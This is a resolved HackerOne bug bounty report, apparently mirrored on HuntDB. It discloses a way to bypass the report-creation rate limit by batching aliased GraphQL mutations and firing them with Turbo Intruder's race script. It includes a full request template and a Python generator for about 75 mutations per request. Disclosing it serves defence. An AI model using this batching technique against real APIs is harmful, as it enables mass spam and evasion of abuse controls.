Loading HuntDB...

Ability to bulk submit reports via query named based batching

Low
H
HackerOne
Submitted None
Reported by 0x999

Vulnerability Details

Technical details and impact analysis

Violation of Secure Design Principles
**Summary:** By taking advantage of query named based batching in graphql a malicious actor has the ability to create many reports in bulk(up to ~75+ reports in 1 request), in combination with turbo intruder this can be abused to create ~6400+ reports using ~100 requests in roughly 40 seconds which goes well above the intended limit which is 500 according to [this](https://hackerone.com/reports/2000000) report **Description:** ### Steps To Reproduce 1. Paste the following request in BurpSuite - ``` POST /graphql HTTP/2 Host: hackerone.com Cookie: {your-h1-cookie) Content-Length: 1173 Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8" X-Csrf-Token: {your-csrf-token} Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36 Content-Type: application/json X-Product-Feature: inbox Accept: */* X-Product-Area: reports Sec-Ch-Ua-Platform: "Linux" Origin: https://hackerone.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 { "operationname": "CreateReport", "variables":{ "team_handle":"{target-team-handle}", "product_area":"reports", "product_feature":"inbox" }, "query": "{your-generated-query}" } ``` 2. Replace the Cookies, X-CSRF-Token with your own as well as the "{target-team-handle}" with the team handle you wish to create the reports on 3. Use the python script that is included below to generate the query and replace {your-generated-query} in the request with the output 4. Send the request to Turbo Intruder 5. Use the ```race-single-packet-attack.py``` script 6. Modify the loop to 100 iterations and start the attack 7. Wait for the requests to go through 8. Refresh H1 and you will see ~6400+ reports were created ### Supporting Material/References (Screenshots) Video POC: * ██████████ Generate mutation query: ```python def generate_query(index): return ( 'example' + str(index) + ': createReport(input: {team_handle: $team_handle, ' 'title: "Your Report Title", vulnerability_information: "Vulnerability Information", ' 'impact: "Impact Description", source: "Report Source"}) { ' 'was_successful errors { edges { node { id error_code field message __typename } __typename } ' '__typename } }' ) queries = [] for i in range(75): queries.append(generate_query(i)) main_mutation = ( 'mutation BulkReports($team_handle: String!) {\n ' + '\n '.join(queries) + '\n}' ) print(repr(main_mutation).replace('"','\\"').replace("'","")) ``` ## Impact By taking advantage of this bug a malicious actor is able to bypass the intended limitations that are applied to the report creation request allowing them to spam any program with a very large amount of reports.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Bounty

$500.00

Submitted

Weakness

Violation of Secure Design Principles